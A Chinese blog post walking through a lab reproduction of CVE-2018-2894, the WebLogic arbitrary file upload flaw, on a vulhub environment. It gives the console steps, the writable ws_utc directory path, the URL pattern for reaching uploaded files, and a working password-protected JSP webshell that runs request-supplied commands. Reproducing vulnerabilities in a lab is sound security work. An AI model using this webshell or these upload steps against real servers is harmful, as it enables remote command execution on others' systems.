weblogic任意文件上传漏洞复现(CVE-2018-2894)

weblogic任意文件上传漏洞复现(CVE-2018-2894)

  • 漏洞限制
  • 环境搭建
  • 漏洞复现
  • 使用工具

漏洞限制

  1. 需要登录
  2. 需要写权限

环境搭建

本次漏洞为了更真实的模拟实际环境,使用vulhub在vps上搭建。
首先vps防火墙开启7001端口,这是环境启动后的端口
搭建vulhub靶场的教程网上很多,也可以参考官网
搭建完成后使用sudo docker-compose up -d启动weblogic任意文件上传漏洞环境。(这里使用了另一个漏洞环境的启动截图(^_^))。
在这里插入图片描述
使用sudo docker-compose logs | grep password查看登录账号和密码。
在这里插入图片描述

漏洞复现

访问http://your-ip:7001/console并使用刚才得到的账号密码登录
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第1张图片
访问base_domain
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第2张图片
高级->启用web测试页
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第3张图片
访问测试页面/ws_utc
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第4张图片
发现存在限制,直接访问config.do页面
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第5张图片
设置工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
指定工作目录的目的是为了写文件,所以需要指定可写目录为工作目录。
在安全界面上传webshell。
这里使用有回显带密码验证的webshell。

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"
); } %>

抓包得到时间戳。
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第6张图片
拼接/ws_utc/css/config/keystore/[时间戳]_[文件名]并分别访问。
可写目录成功执行。
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第7张图片
不可写目录虽然显示上传成功,但访问返回404。
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第8张图片

使用工具

使用Upsploit工具进行上传测试。
抓包上传数据包
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第9张图片
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第10张图片
将上传数据包放入run test
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第11张图片
在这里插入图片描述
上传成功,访问上传文件,成功弹窗。
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第12张图片
还有其他上传方法,就不一一列举了,直接看结果。
weblogic任意文件上传漏洞复现(CVE-2018-2894)_第13张图片
可以看到上传的内容,为javascript语句。

你可能感兴趣的:(渗透测试,安全,网络安全,web安全)